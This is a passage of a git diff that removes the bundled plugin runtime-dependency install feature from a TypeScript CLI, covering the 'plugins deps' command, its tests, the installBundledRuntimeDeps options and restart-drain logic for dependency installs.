--- a/src/cli/command-path-policy.test.ts +++ b/src/cli/command-path-policy.test.ts @@ -36,7 +36,7 @@ describe("command-path-policy", () => { expectResolvedPolicy(["status"], { routeConfigGuard: "when-suppressed", loadPlugins: "never", - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, ensureCliPath: false, networkProxy: "bypass", }); @@ -77,12 +77,12 @@ describe("command-path-policy", () => { }); expectResolvedPolicy(["channels", "remove"], { loadPlugins: "always", - pluginRegistry: { scope: "configured-channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "configured-channels" }, networkProxy: "bypass", }); expectResolvedPolicy(["channels", "resolve"], { loadPlugins: "always", - pluginRegistry: { scope: "configured-channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "configured-channels" }, networkProxy: "bypass", }); }); @@ -90,7 +90,7 @@ describe("command-path-policy", () => { it("keeps config-only agent commands on config-only startup", () => { expectResolvedPolicy(["agent"], { loadPlugins: expect.any(Function), - pluginRegistry: { scope: "all", installBundledRuntimeDeps: true }, + pluginRegistry: { scope: "all" }, networkProxy: expect.any(Function), }); diff --git a/src/cli/command-startup-policy.test.ts b/src/cli/command-startup-policy.test.ts index d34ad294398..2d22c979e04 100644 --- a/src/cli/command-startup-policy.test.ts +++ b/src/cli/command-startup-policy.test.ts @@ -224,7 +224,7 @@ describe("command-startup-policy", () => { hideBanner: false, skipConfigGuard: false, loadPlugins: false, - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, }); expect( @@ -239,7 +239,7 @@ describe("command-startup-policy", () => { hideBanner: false, skipConfigGuard: true, loadPlugins: false, - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, }); }); }); diff --git a/src/cli/daemon-cli/restart-health.test.ts b/src/cli/daemon-cli/restart-health.test.ts index 2b491882aa0..7857f363321 100644 --- a/src/cli/daemon-cli/restart-health.test.ts +++ b/src/cli/daemon-cli/restart-health.test.ts @@ -425,7 +425,7 @@ describe("inspectGatewayRestart", () => { id: "telegram", origin: "bundled", activated: true, - error: "failed to install bundled runtime deps: ENOSPC", + error: "failed to load plugin dependency: ENOSPC", }, { id: "optional", @@ -458,7 +458,7 @@ describe("inspectGatewayRestart", () => { id: "telegram", origin: "bundled", activated: true, - error: "failed to install bundled runtime deps: ENOSPC", + error: "failed to load plugin dependency: ENOSPC", }, ], }); @@ -467,7 +467,7 @@ describe("inspectGatewayRestart", () => { const { renderRestartDiagnostics } = await import("./restart-health.js"); expect(renderRestartDiagnostics(snapshot).join("\n")).toContain( - "Activated plugin load errors:\n- telegram: failed to install bundled runtime deps: ENOSPC", + "Activated plugin load errors:\n- telegram: failed to load plugin dependency: ENOSPC", ); }); @@ -484,7 +484,7 @@ describe("inspectGatewayRestart", () => { id: "telegram", origin: "bundled", activated: true, - error: "failed to install bundled runtime deps: ENOSPC", + error: "failed to load plugin dependency: ENOSPC", }, ], }, diff --git a/src/cli/gateway-cli/lifecycle.runtime.ts b/src/cli/gateway-cli/lifecycle.runtime.ts index 88eae141101..baf9c138dfe 100644 --- a/src/cli/gateway-cli/lifecycle.runtime.ts +++ b/src/cli/gateway-cli/lifecycle.runtime.ts @@ -21,10 +21,6 @@ export { export { markUpdateRestartSentinelFailure } from "../../infra/restart-sentinel.js"; export { detectRespawnSupervisor } from "../../infra/supervisor-markers.js"; export { writeDiagnosticStabilityBundleForFailureSync } from "../../logging/diagnostic-stability-bundle.js"; -export { - getActiveBundledRuntimeDepsInstallCount, - waitForBundledRuntimeDepsInstallIdle, -} from "../../plugins/bundled-runtime-deps-activity.js"; export { getActiveTaskCount, markGatewayDraining, diff --git a/src/cli/gateway-cli/run-loop.test.ts b/src/cli/gateway-cli/run-loop.test.ts index dc86047cef6..cc593bad616 100644 --- a/src/cli/gateway-cli/run-loop.test.ts +++ b/src/cli/gateway-cli/run-loop.test.ts @@ -25,11 +25,6 @@ const markGatewayDraining = vi.fn(); const waitForActiveTasks = vi.fn(async (_timeoutMs?: number) => ({ drained: true })); const resetAllLanes = vi.fn(); const reloadTaskRegistryFromStore = vi.fn(); -const getActiveBundledRuntimeDepsInstallCount = vi.fn(() => 0); -const waitForBundledRuntimeDepsInstallIdle = vi.fn(async (_timeoutMs?: number) => ({ - drained: true, - active: 0, -})); const restartGatewayProcessWithFreshPid = vi.fn< () => { mode: "spawned" | "supervised" | "disabled" | "failed"; pid?: number; detail?: string } >(() => ({ mode: "disabled" })); @@ -108,12 +103,6 @@ vi.mock("../../tasks/runtime-internal.js", () => ({ reloadTaskRegistryFromStore: () => reloadTaskRegistryFromStore(), })); -vi.mock("../../plugins/bundled-runtime-deps-activity.js", () => ({ - getActiveBundledRuntimeDepsInstallCount: () => getActiveBundledRuntimeDepsInstallCount(), - waitForBundledRuntimeDepsInstallIdle: (timeoutMs?: number) => - waitForBundledRuntimeDepsInstallIdle(timeoutMs), -})); - vi.mock("../../agents/pi-embedded-runner/runs.js", () => ({ abortEmbeddedPiRun: (sessionId?: string, opts?: { mode?: "all" | "compacting" }) => abortEmbeddedPiRun(sessionId, opts), @@ -494,47 +483,6 @@ describe("runGatewayLoop", () => { expect(markGatewaySigusr1RestartHandled).not.toHaveBeenCalled(); }); }); - - it("waits for active runtime-deps installs before restart close", async () => { - vi.clearAllMocks(); - loadConfig.mockReturnValue({ - gateway: { - reload: { - deferralTimeoutMs: 90_000, - }, - }, - }); - let releaseRuntimeDeps!: () => void; - getActiveBundledRuntimeDepsInstallCount.mockReturnValueOnce(1).mockReturnValue(0); - waitForBundledRuntimeDepsInstallIdle.mockReturnValueOnce( - new Promise((resolve) => { - releaseRuntimeDeps = () => resolve({ drained: true, active: 0 }); - }), - ); - - await withIsolatedSignals(async ({ captureSignal }) => { - const { close, start } = await createSignaledLoopHarness(); - const sigusr1 = captureSignal("SIGUSR1"); - - sigusr1(); - await new Promise((resolve) => setImmediate(resolve)); - - expect(markGatewayDraining).toHaveBeenCalledOnce(); - expect(waitForBundledRuntimeDepsInstallIdle).toHaveBeenCalledWith(90_000); - expect(close).not.toHaveBeenCalled(); - - releaseRuntimeDeps(); - await new Promise((resolve) => setImmediate(resolve)); - await new Promise((resolve) => setImmediate(resolve)); - - expect(close).toHaveBeenCalledWith({ - reason: "gateway restarting", - restartExpectedMs: 1500, - }); - expect(start).toHaveBeenCalledTimes(2); - }); - }); - it("releases the lock before exiting on spawned restart", async () => { vi.clearAllMocks(); peekGatewaySigusr1RestartReason.mockReturnValue(undefined); diff --git a/src/cli/gateway-cli/run-loop.ts b/src/cli/gateway-cli/run-loop.ts index c3e8779382a..dab2167c7f6 100644 --- a/src/cli/gateway-cli/run-loop.ts +++ b/src/cli/gateway-cli/run-loop.ts @@ -317,18 +317,16 @@ export async function runGatewayLoop(params: { if (isRestart) { const { abortEmbeddedPiRun, - getActiveBundledRuntimeDepsInstallCount, getActiveEmbeddedRunCount, getActiveTaskCount, markGatewayDraining, waitForActiveEmbeddedRuns, waitForActiveTasks, - waitForBundledRuntimeDepsInstallIdle, } = await loadGatewayLifecycleRuntimeModule(); const createStillPendingDrainLogger = () => setInterval(() => { gatewayLog.warn( - `still draining ${getActiveTaskCount()} active task(s), ${getActiveEmbeddedRunCount()} active embedded run(s), and ${getActiveBundledRuntimeDepsInstallCount()} runtime deps install(s) before restart`, + `still draining ${getActiveTaskCount()} active task(s) and ${getActiveEmbeddedRunCount()} active embedded run(s) before restart`, ); }, RESTART_DRAIN_STILL_PENDING_WARN_MS); @@ -337,7 +335,6 @@ export async function runGatewayLoop(params: { markGatewayDraining(); const activeTasks = getActiveTaskCount(); const activeRuns = getActiveEmbeddedRunCount(); - const activeRuntimeDepsInstalls = getActiveBundledRuntimeDepsInstallCount(); // Best-effort abort for compacting runs so long compaction operations // don't hold session write locks across restart boundaries. @@ -345,23 +342,20 @@ export async function runGatewayLoop(params: { abortEmbeddedPiRun(undefined, { mode: "compacting" }); } - if (activeTasks > 0 || activeRuns > 0 || activeRuntimeDepsInstalls > 0) { + if (activeTasks > 0 || activeRuns > 0) { gatewayLog.info( - `draining ${activeTasks} active task(s), ${activeRuns} active embedded run(s), and ${activeRuntimeDepsInstalls} runtime deps install(s) before restart ${formatRestartDrainBudget()}`, + `draining ${activeTasks} active task(s) and ${activeRuns} active embedded run(s) before restart ${formatRestartDrainBudget()}`, ); const stillPendingDrainLogger = createStillPendingDrainLogger(); - const [tasksDrain, runsDrain, runtimeDepsDrain] = await Promise.all([ + const [tasksDrain, runsDrain] = await Promise.all([ activeTasks > 0 ? waitForActiveTasks(restartDrainTimeoutMs) : Promise.resolve({ drained: true }), activeRuns > 0 ? waitForActiveEmbeddedRuns(restartDrainTimeoutMs) : Promise.resolve({ drained: true }), - activeRuntimeDepsInstalls > 0 - ? waitForBundledRuntimeDepsInstallIdle(restartDrainTimeoutMs) - : Promise.resolve({ drained: true }), ]).finally(() => clearInterval(stillPendingDrainLogger)); - if (tasksDrain.drained && runsDrain.drained && runtimeDepsDrain.drained) { + if (tasksDrain.drained && runsDrain.drained) { gatewayLog.info("all active work drained"); } else { gatewayLog.warn("drain timeout reached; proceeding with restart"); diff --git a/src/cli/plugin-registry-loader.test.ts b/src/cli/plugin-registry-loader.test.ts index 3689bfe7078..7bf7de33e4f 100644 --- a/src/cli/plugin-registry-loader.test.ts +++ b/src/cli/plugin-registry-loader.test.ts @@ -75,15 +75,13 @@ describe("plugin-registry-loader", () => { }); }); - it("forwards explicit runtime dependency install policy", async () => { + it("forwards configured-channel load scope without startup dependency repair", async () => { await ensureCliPluginRegistryLoaded({ scope: "configured-channels", - installBundledRuntimeDeps: false, }); expect(ensurePluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "configured-channels", - installBundledRuntimeDeps: false, }); }); }); diff --git a/src/cli/plugin-registry-loader.ts b/src/cli/plugin-registry-loader.ts index 480f2552029..a2a8d2cd791 100644 --- a/src/cli/plugin-registry-loader.ts +++ b/src/cli/plugin-registry-loader.ts @@ -11,7 +11,6 @@ function loadPluginRegistryModule() { export type CliPluginRegistryLoadPolicy = { scope: CliPluginRegistryScope; - installBundledRuntimeDeps?: boolean; }; export async function ensureCliPluginRegistryLoaded(params: { @@ -19,7 +18,6 @@ export async function ensureCliPluginRegistryLoaded(params: { routeLogsToStderr?: boolean; config?: OpenClawConfig; activationSourceConfig?: OpenClawConfig; - installBundledRuntimeDeps?: boolean; }) { const { ensurePluginRegistryLoaded } = await loadPluginRegistryModule(); const previousForceStderr = loggingState.forceConsoleToStderr; @@ -33,9 +31,6 @@ export async function ensureCliPluginRegistryLoaded(params: { ...(params.activationSourceConfig ? { activationSourceConfig: params.activationSourceConfig } : {}), - ...(params.installBundledRuntimeDeps !== undefined - ? { installBundledRuntimeDeps: params.installBundledRuntimeDeps } - : {}), }); } finally { loggingState.forceConsoleToStderr = previousForceStderr; diff --git a/src/cli/plugins-cli.ts b/src/cli/plugins-cli.ts index 30dbc7d34a7..11fdf71337c 100644 --- a/src/cli/plugins-cli.ts +++ b/src/cli/plugins-cli.ts @@ -39,13 +39,6 @@ export type PluginRegistryOptions = { refresh?: boolean; }; -export type PluginsDepsCliOptions = { - json?: boolean; - packageRoot?: string; - prune?: boolean; - repair?: boolean; -}; - function countEnabledPlugins(plugins: readonly { enabled: boolean }[]): number { return plugins.filter((plugin) => plugin.enabled).length; } @@ -81,21 +74,6 @@ export function registerPluginsCli(program: Command) { await runPluginsListCommand(opts); }); - plugins - .command("deps") - .description("Inspect or repair bundled plugin runtime dependencies") - .option("--json", "Print JSON") - .option("--package-root ", "OpenClaw package root to inspect") - .option("--prune", "Prune stale unknown external runtime dependency roots", false) - .option("--repair", "Install missing bundled runtime dependencies", false) - .action(async (opts: PluginsDepsCliOptions) => { - const { runPluginsDepsCommand } = await import("./plugins-deps-command.js"); - await runPluginsDepsCommand({ - config: getRuntimeConfig(), - options: opts, - }); - }); - plugins .command("inspect") .alias("info") diff --git a/src/cli/plugins-deps-command.test.ts b/src/cli/plugins-deps-command.test.ts deleted file mode 100644 index 640507d29e3..00000000000 --- a/src/cli/plugins-deps-command.test.ts +++ /dev/null @@ -1,266 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; - -type RuntimeDepFixture = { - name: string; - version: string; - pluginIds: string[]; -}; - -const mocks = vi.hoisted(() => { - const runtimeLogs: string[] = []; - const stringifyArgs = (args: unknown[]) => args.map((value) => String(value)).join(" "); - return { - runtimeLogs, - defaultRuntime: { - log: vi.fn((...args: unknown[]) => { - runtimeLogs.push(stringifyArgs(args)); - }), - error: vi.fn((...args: unknown[]) => { - runtimeLogs.push(stringifyArgs(args)); - }), - writeStdout: vi.fn((value: string) => { - runtimeLogs.push(value.endsWith("\n") ? value.slice(0, -1) : value); - }), - writeJson: vi.fn((value: unknown, space = 2) => { - runtimeLogs.push(JSON.stringify(value, null, space > 0 ? space : undefined)); - }), - exit: vi.fn((code: number) => { - throw new Error(`__exit__:${code}`); - }), - }, - createBundledRuntimeDepsPackagePlan: vi.fn((params: { packageRoot: string }) => { - const plan = mocks.runtimeDepsPlan(params); - const installRootPlan = mocks.resolveBundledRuntimeDependencyPackageInstallRootPlan(); - const specs = (deps: readonly RuntimeDepFixture[]) => - deps.map((dep) => `${dep.name}@${dep.version}`); - return { - packageRoot: params.packageRoot, - installRootPlan, - deps: plan.deps, - missing: plan.missing, - conflicts: plan.conflicts, - installSpecs: specs(plan.deps), - missingSpecs: specs(plan.missing), - }; - }), - pruneUnknownBundledRuntimeDepsRoots: vi.fn(), - repairBundledRuntimeDepsPackagePlanAsync: vi.fn(), - resolveBundledRuntimeDependencyPackageInstallRootPlan: vi.fn(), - resolveOpenClawPackageRootSync: vi.fn(), - runtimeDepsPlan: vi.fn(), - }; -}); - -vi.mock("../runtime.js", () => ({ - defaultRuntime: mocks.defaultRuntime, -})); - -vi.mock("../infra/openclaw-root.js", () => ({ - resolveOpenClawPackageRootSync: mocks.resolveOpenClawPackageRootSync, -})); - -vi.mock("../plugins/bundled-runtime-deps.js", () => ({ - createBundledRuntimeDepsPackagePlan: mocks.createBundledRuntimeDepsPackagePlan, - repairBundledRuntimeDepsPackagePlanAsync: mocks.repairBundledRuntimeDepsPackagePlanAsync, -})); - -vi.mock("../plugins/bundled-runtime-deps-roots.js", () => ({ - pruneUnknownBundledRuntimeDepsRoots: mocks.pruneUnknownBundledRuntimeDepsRoots, - resolveBundledRuntimeDependencyPackageInstallRootPlan: - mocks.resolveBundledRuntimeDependencyPackageInstallRootPlan, -})); - -const { runPluginsDepsCommand } = await import("./plugins-deps-command.js"); - -describe("plugins deps command", () => { - beforeEach(() => { - mocks.runtimeLogs.length = 0; - mocks.defaultRuntime.log.mockClear(); - mocks.defaultRuntime.error.mockClear(); - mocks.defaultRuntime.writeStdout.mockClear(); - mocks.defaultRuntime.writeJson.mockClear(); - mocks.defaultRuntime.exit.mockClear(); - mocks.createBundledRuntimeDepsPackagePlan.mockClear(); - mocks.pruneUnknownBundledRuntimeDepsRoots.mockReset(); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockReset(); - mocks.resolveBundledRuntimeDependencyPackageInstallRootPlan.mockReset(); - mocks.resolveOpenClawPackageRootSync.mockReset(); - mocks.runtimeDepsPlan.mockReset(); - mocks.runtimeDepsPlan.mockReturnValue({ - deps: [], - missing: [], - conflicts: [], - }); - mocks.resolveBundledRuntimeDependencyPackageInstallRootPlan.mockReturnValue({ - installRoot: "/runtime-deps", - searchRoots: ["/runtime-deps"], - external: true, - }); - }); - - it("does not reinstall already materialized bundled runtime deps", async () => { - mocks.runtimeDepsPlan.mockReturnValue({ - deps: [{ name: "zod", version: "4.0.0", pluginIds: ["openclaw-demo"] }], - missing: [], - conflicts: [], - }); - - await runPluginsDepsCommand({ - config: {}, - options: { - json: true, - packageRoot: "/openclaw-package", - repair: true, - }, - }); - - expect(mocks.repairBundledRuntimeDepsPackagePlanAsync).not.toHaveBeenCalled(); - expect(JSON.parse(mocks.runtimeLogs[0] ?? "null")).toEqual( - expect.objectContaining({ - packageRoot: "/openclaw-package", - installSpecs: ["zod@4.0.0"], - missingSpecs: [], - repairedSpecs: [], - }), - ); - }); - - it("repairs only when bundled runtime deps are missing", async () => { - const dep = { name: "zod", version: "4.0.0", pluginIds: ["openclaw-demo"] }; - mocks.runtimeDepsPlan - .mockReturnValueOnce({ - deps: [dep], - missing: [dep], - conflicts: [], - }) - .mockReturnValueOnce({ - deps: [dep], - missing: [], - conflicts: [], - }); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValue({ - repairedSpecs: ["zod@4.0.0"], - }); - - await runPluginsDepsCommand({ - config: {}, - options: { - json: true, - packageRoot: "/openclaw-package", - repair: true, - }, - }); - - expect(mocks.repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledWith( - expect.objectContaining({ - packageRoot: "/openclaw-package", - includeConfiguredChannels: true, - }), - ); - expect(JSON.parse(mocks.runtimeLogs[0] ?? "null")).toEqual( - expect.objectContaining({ - missing: [], - missingSpecs: [], - repairedSpecs: ["zod@4.0.0"], - warnings: [], - }), - ); - }); - - it("keeps repair warnings inside JSON output", async () => { - const dep = { name: "zod", version: "4.0.0", pluginIds: ["openclaw-demo"] }; - mocks.runtimeDepsPlan - .mockReturnValueOnce({ - deps: [dep], - missing: [dep], - conflicts: [], - }) - .mockReturnValueOnce({ - deps: [dep], - missing: [], - conflicts: [], - }); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockImplementation(async (params: unknown) => { - (params as { warn: (message: string) => void }).warn("low disk space"); - return { - repairedSpecs: ["zod@4.0.0"], - }; - }); - - await runPluginsDepsCommand({ - config: {}, - options: { - json: true, - packageRoot: "/openclaw-package", - repair: true, - }, - }); - - expect(mocks.runtimeLogs).toHaveLength(1); - expect(JSON.parse(mocks.runtimeLogs[0] ?? "null")).toEqual( - expect.objectContaining({ - missing: [], - repairedSpecs: ["zod@4.0.0"], - warnings: ["low disk space"], - }), - ); - }); - - it("repairs missing deps even when separate deps have version conflicts", async () => { - const dep = { name: "zod", version: "4.0.0", pluginIds: ["openclaw-demo"] }; - const conflict = { - name: "shared-conflict", - versions: ["1.0.0", "2.0.0"], - pluginIdsByVersion: new Map([ - ["1.0.0", ["openclaw-one"]], - ["2.0.0", ["openclaw-two"]], - ]), - }; - mocks.runtimeDepsPlan - .mockReturnValueOnce({ - deps: [dep], - missing: [dep], - conflicts: [conflict], - }) - .mockReturnValueOnce({ - deps: [dep], - missing: [], - conflicts: [conflict], - }); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValue({ - repairedSpecs: ["zod@4.0.0"], - }); - - await runPluginsDepsCommand({ - config: {}, - options: { - json: true, - packageRoot: "/openclaw-package", - repair: true, - }, - }); - - expect(mocks.repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledWith( - expect.objectContaining({ - packageRoot: "/openclaw-package", - includeConfiguredChannels: true, - }), - ); - expect(JSON.parse(mocks.runtimeLogs[0] ?? "null")).toEqual( - expect.objectContaining({ - missing: [], - conflicts: [ - { - name: "shared-conflict", - versions: ["1.0.0", "2.0.0"], - pluginIdsByVersion: { - "1.0.0": ["openclaw-one"], - "2.0.0": ["openclaw-two"], - }, - }, - ], - repairedSpecs: ["zod@4.0.0"], - }), - ); - }); -}); diff --git a/src/cli/plugins-deps-command.ts b/src/cli/plugins-deps-command.ts deleted file mode 100644 index a4e26a1aabd..00000000000 --- a/src/cli/plugins-deps-command.ts +++ /dev/null @@ -1,195 +0,0 @@ -import path from "node:path"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; -import { pruneUnknownBundledRuntimeDepsRoots } from "../plugins/bundled-runtime-deps-roots.js"; -import { - createBundledRuntimeDepsPackagePlan, - repairBundledRuntimeDepsPackagePlanAsync, - type BundledRuntimeDepsPackagePlan, -} from "../plugins/bundled-runtime-deps.js"; -import { defaultRuntime } from "../runtime.js"; -import { getTerminalTableWidth, renderTable } from "../terminal/table.js"; -import { theme } from "../terminal/theme.js"; -import { shortenHomePath } from "../utils.js"; - -export type PluginsDepsOptions = { - json?: boolean; - packageRoot?: string; - prune?: boolean; - repair?: boolean; -}; - -function resolvePackageRoot(rawPackageRoot: string | undefined): string | null { - if (rawPackageRoot?.trim()) { - return path.resolve(rawPackageRoot.trim()); - } - return resolveOpenClawPackageRootSync({ - argv1: process.argv[1], - cwd: process.cwd(), - moduleUrl: import.meta.url, - }); -} - -function formatRuntimeDepOwners(pluginIds: readonly string[]): string { - return pluginIds.length > 0 ? pluginIds.join(", ") : "-"; -} - -function formatRuntimeDepConflicts(conflicts: BundledRuntimeDepsPackagePlan["conflicts"]) { - return conflicts.map((conflict) => ({ - name: conflict.name, - versions: conflict.versions, - pluginIdsByVersion: Object.fromEntries(conflict.pluginIdsByVersion), - })); -} - -function createWarningSink(params: { json?: boolean; warnings: string[] }) { - return (message: string) => { - params.warnings.push(message); - if (!params.json) { - defaultRuntime.log(theme.warn(message)); - } - }; -} - -export async function runPluginsDepsCommand(params: { - config: OpenClawConfig; - options: PluginsDepsOptions; -}): Promise { - const packageRoot = resolvePackageRoot(params.options.packageRoot); - if (!packageRoot) { - const message = "Could not resolve the OpenClaw package root for bundled plugin deps."; - if (params.options.json) { - defaultRuntime.writeJson({ ok: false, error: message }); - return; - } - defaultRuntime.error(message); - return defaultRuntime.exit(1); - } - - const warnings: string[] = []; - const warn = createWarningSink({ json: params.options.json, warnings }); - const pruned = params.options.prune - ? pruneUnknownBundledRuntimeDepsRoots({ - env: process.env, - warn, - }) - : undefined; - const createRuntimeDepsPlan = () => - createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: params.config, - includeConfiguredChannels: true, - env: process.env, - }); - let plan = createRuntimeDepsPlan(); - let repairedSpecs: string[] = []; - let reusedSpecs: string[] = []; - let reusedFromRoot: string | undefined; - - if (params.options.repair && plan.missingSpecs.length > 0) { - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: params.config, - includeConfiguredChannels: true, - env: process.env, - warn, - onProgress: (message) => { - if (!params.options.json) { - defaultRuntime.log(theme.muted(message)); - } - }, - }); - repairedSpecs = result.repairedSpecs; - reusedSpecs = result.reusedSpecs ?? []; - reusedFromRoot = result.reusedFromRoot; - plan = createRuntimeDepsPlan(); - } - - if (params.options.json) { - defaultRuntime.writeJson({ - packageRoot, - installRoot: plan.installRootPlan.installRoot, - installRootExternal: plan.installRootPlan.external, - searchRoots: plan.installRootPlan.searchRoots, - deps: plan.deps, - missing: plan.missing, - conflicts: formatRuntimeDepConflicts(plan.conflicts), - installSpecs: plan.installSpecs, - missingSpecs: plan.missingSpecs, - repairedSpecs, - ...(reusedSpecs.length > 0 ? { reusedSpecs } : {}), - ...(reusedFromRoot ? { reusedFromRoot } : {}), - warnings, - ...(pruned ? { pruned } : {}), - }); - return; - } - - const lines = [ - theme.heading("Bundled Plugin Runtime Deps"), - `${theme.muted("Package root:")} ${shortenHomePath(packageRoot)}`, - `${theme.muted("Install root:")} ${shortenHomePath(plan.installRootPlan.installRoot)}${ - plan.installRootPlan.external ? theme.muted(" (external)") : "" - }`, - ]; - if (pruned) { - lines.push( - `${theme.muted("Pruned unknown roots:")} ${pruned.removed}/${pruned.scanned}${ - pruned.skippedLocked > 0 ? theme.muted(` (${pruned.skippedLocked} locked)`) : "" - }`, - ); - } - if (plan.conflicts.length > 0) { - lines.push(""); - lines.push(theme.error("Version conflicts:")); - for (const conflict of plan.conflicts) { - const owners = conflict.versions - .map((version) => `${version}: ${conflict.pluginIdsByVersion.get(version)?.join(", ")}`) - .join("; "); - lines.push(`- ${conflict.name}: ${owners}`); - } - } - if (plan.deps.length === 0) { - lines.push(""); - lines.push(theme.muted("No packaged bundled runtime deps are required for this checkout.")); - defaultRuntime.log(lines.join("\n")); - return; - } - - lines.push(""); - lines.push( - `${theme.muted("Status:")} ${ - plan.missing.length === 0 ? theme.success("materialized") : theme.warn("missing") - }`, - ); - if (repairedSpecs.length > 0) { - lines.push(`${theme.muted("Repaired:")} ${repairedSpecs.join(", ")}`); - } else if (reusedSpecs.length > 0) { - lines.push(`${theme.muted("Reused:")} ${reusedSpecs.join(", ")}`); - } else if (params.options.repair && plan.conflicts.length > 0) { - lines.push(theme.warn("Repair skipped because runtime dependency versions conflict.")); - } - lines.push(""); - lines.push( - renderTable({ - width: getTerminalTableWidth(), - columns: [ - { key: "Name", header: "Name", minWidth: 18, flex: true }, - { key: "Version", header: "Version", minWidth: 12 }, - { key: "Status", header: "Status", minWidth: 12 }, - { key: "Plugins", header: "Plugins", minWidth: 24, flex: true }, - ], - rows: plan.deps.map((dep) => ({ - Name: dep.name, - Version: dep.version, - Status: plan.missing.some( - (missing) => missing.name === dep.name && missing.version === dep.version, - ) - ? theme.warn("missing") - : theme.success("ok"), - Plugins: formatRuntimeDepOwners(dep.pluginIds), - })), - }).trimEnd(), - ); - defaultRuntime.log(lines.join("\n")); -} diff --git a/src/cli/program/preaction.test.ts b/src/cli/program/preaction.test.ts index 8e55be42880..d29f3b9c656 100644 --- a/src/cli/program/preaction.test.ts +++ b/src/cli/program/preaction.test.ts @@ -245,7 +245,6 @@ describe("registerPreActionHooks", () => { }); expect(ensurePluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "all", - installBundledRuntimeDeps: true, }); }); @@ -262,7 +261,6 @@ describe("registerPreActionHooks", () => { }); expect(ensurePluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "all", - installBundledRuntimeDeps: true, }); }); diff --git a/src/cli/route.test.ts b/src/cli/route.test.ts index ccb14af6f5b..d7de234f08e 100644 --- a/src/cli/route.test.ts +++ b/src/cli/route.test.ts @@ -92,7 +92,6 @@ describe("tryRouteCli", () => { }); expect(ensurePluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "channels", - installBundledRuntimeDeps: false, }); }); @@ -164,7 +163,6 @@ describe("tryRouteCli", () => { }); expect(ensurePluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "channels", - installBundledRuntimeDeps: false, }); }); diff --git a/src/cli/update-cli.test.ts b/src/cli/update-cli.test.ts index 14e9666c488..79ea19c974b 100644 --- a/src/cli/update-cli.test.ts +++ b/src/cli/update-cli.test.ts @@ -2384,7 +2384,7 @@ describe("update-cli", () => { id: "telegram", origin: "bundled", activated: true, - error: "failed to install bundled runtime deps: ENOSPC", + error: "failed to load plugin dependency: ENOSPC", }, ], }, @@ -2407,7 +2407,7 @@ describe("update-cli", () => { .mocked(defaultRuntime.log) .mock.calls.map((call) => String(call[0])) .join("\n"), - ).toContain("- telegram: failed to install bundled runtime deps: ENOSPC"); + ).toContain("- telegram: failed to load plugin dependency: ENOSPC"); }); it.each([ diff --git a/src/commands/channel-setup/plugin-install.ts b/src/commands/channel-setup/plugin-install.ts index 070ce4eb043..c786c729267 100644 --- a/src/commands/channel-setup/plugin-install.ts +++ b/src/commands/channel-setup/plugin-install.ts @@ -97,7 +97,6 @@ function loadChannelSetupPluginRegistry(params: { forceSetupOnlyChannelPlugins: params.forceSetupOnlyChannelPlugins ?? params.installRuntimeDeps === false, activate: params.activate, - installBundledRuntimeDeps: params.installRuntimeDeps !== false, }); } diff --git a/src/commands/configure.wizard.test.ts b/src/commands/configure.wizard.test.ts index c26c73ef3b0..70f81cdc553 100644 --- a/src/commands/configure.wizard.test.ts +++ b/src/commands/configure.wizard.test.ts @@ -34,7 +34,6 @@ const mocks = vi.hoisted(() => { Boolean(config.auth?.profiles?.["openai-codex:default"]), ), setupChannels: vi.fn(async (cfg: OpenClawConfig) => cfg), - preparePostConfigBundledRuntimeDeps: vi.fn(async () => {}), }; }); @@ -114,10 +113,6 @@ vi.mock("./onboard-channels.js", () => ({ setupChannels: mocks.setupChannels, })); -vi.mock("./post-config-runtime-deps.js", () => ({ - preparePostConfigBundledRuntimeDeps: mocks.preparePostConfigBundledRuntimeDeps, -})); - vi.mock("./onboard-search.js", () => ({ resolveSearchProviderOptions: mocks.resolveSearchProviderOptions, setupSearch: mocks.setupSearch, @@ -255,28 +250,7 @@ describe("runConfigureWizard", () => { gateway: expect.objectContaining({ mode: "local" }), }), ); - expect(mocks.preparePostConfigBundledRuntimeDeps).toHaveBeenCalledWith( - expect.objectContaining({ - config: expect.objectContaining({ - gateway: expect.objectContaining({ mode: "local" }), - }), - }), - ); }); - - it("does not prepare runtime deps for remote gateway config", async () => { - setupBaseWizardState(); - queueWizardPrompts({ - select: ["remote"], - confirm: [], - text: "wss://gateway.example.test", - }); - - await runConfigureWizard({ command: "configure" }, createRuntime()); - - expect(mocks.preparePostConfigBundledRuntimeDeps).not.toHaveBeenCalled(); - }); - it("keeps startup gateway hint probes bounded", async () => { setupBaseWizardState({ gateway: { @@ -642,7 +616,6 @@ describe("runConfigureWizard", () => { // Verify retry happened: first call threw, second call succeeded expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(2); expect(mocks.writeConfigFile).toHaveBeenCalledTimes(1); - expect(mocks.preparePostConfigBundledRuntimeDeps).toHaveBeenCalledTimes(1); // Verify readConfigFileSnapshot was called: initial read, after conflict, after successful write expect(mocks.readConfigFileSnapshot).toHaveBeenCalledTimes(3); diff --git a/src/commands/configure.wizard.ts b/src/commands/configure.wizard.ts index 80b0e055075..aa2f421be1a 100644 --- a/src/commands/configure.wizard.ts +++ b/src/commands/configure.wizard.ts @@ -50,7 +50,6 @@ import { } from "./onboard-helpers.js"; import { promptRemoteGatewayConfig } from "./onboard-remote.js"; import { setupSkills } from "./onboard-skills.js"; -import { preparePostConfigBundledRuntimeDeps } from "./post-config-runtime-deps.js"; type 